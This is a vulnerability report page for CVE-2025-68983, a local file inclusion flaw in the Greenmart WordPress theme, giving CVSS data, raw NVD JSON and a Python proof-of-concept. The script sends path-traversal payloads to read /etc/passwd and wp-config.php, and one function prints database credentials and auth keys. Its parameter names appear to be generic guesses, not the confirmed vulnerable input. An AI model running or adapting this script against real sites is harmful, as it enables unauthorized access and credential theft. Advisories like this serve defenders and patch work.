Security Vulnerability Report
中文
CVE-2025-68983 CVSS 7.5 HIGH

CVE-2025-68983

Published: 2025-12-30 11:15:57
Last Modified: 2026-04-27 19:16:39

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Greenmart greenmart allows PHP Local File Inclusion.This issue affects Greenmart: from n/a through <= 4.2.11.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Greenmart Theme <= 4.2.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68983 - Greenmart Theme Local File Inclusion PoC # Affected: Greenmart Theme <= 4.2.11 import requests import sys from urllib.parse import quote def test_lfi(target_url): """Test for Local File Inclusion vulnerability in Greenmart theme""" # Common Greenmart theme file inclusion parameters params = [ ('file', '../../../../../../../../etc/passwd'), ('file', '../../wp-config.php'), ('template', '../../../wp-config.php'), ('page', '../../../etc/passwd'), ] # Common Greenmart theme paths paths = [ '/wp-content/themes/greenmart/', '/wp-content/themes/greenmart-child/', '/', ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-68983 - Greenmart LFI PoC") print("-" * 50) for path in paths: for param, payload in params: try: # Try different parameter names and paths test_url = target_url.rstrip('/') + path data = {param: payload} response = requests.get(test_url, params=data, timeout=10) # Check for successful file inclusion if 'root:' in response.text or 'DB_NAME' in response.text: print(f"[+] VULNERABLE! Found LFI at: {test_url}") print(f"[+] Parameter: {param} = {payload}") print(f"[+] Response length: {len(response.text)}") # Extract and display file content if 'root:' in response.text: print("[+] /etc/passwd content detected!") if 'DB_NAME' in response.text: print("[+] wp-config.php content detected!") return True except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") continue print("[-] No vulnerability detected with basic probes") print("[*] Manual testing may be required") return False def extract_wp_config(target_url, param='file', iterations=5): """Extract wp-config.php content using path traversal""" payload = '../../../wp-config.php' + '\x00' + 'php' try: response = requests.get( target_url, params={param: payload}, timeout=10 ) if 'DB_NAME' in response.text or 'define' in response.text: print("[+] Successfully extracted wp-config.php!") print("-" * 50) # Extract database credentials for line in response.text.split('\n'): if 'DB_' in line or 'TABLE' in line or 'AUTH_KEY' in line: print(line.strip()) return response.text except Exception as e: print(f"[-] Extraction failed: {e}") return None if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ").strip() if not target.startswith('http'): target = 'http://' + target test_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68983", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:15:56.973", "lastModified": "2026-04-27T19:16:39.450", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Greenmart greenmart allows PHP Local File Inclusion.This issue affects Greenmart: from n/a through <= 4.2.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/greenmart/vulnerability/wordpress-greenmart-theme-4-2-11-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}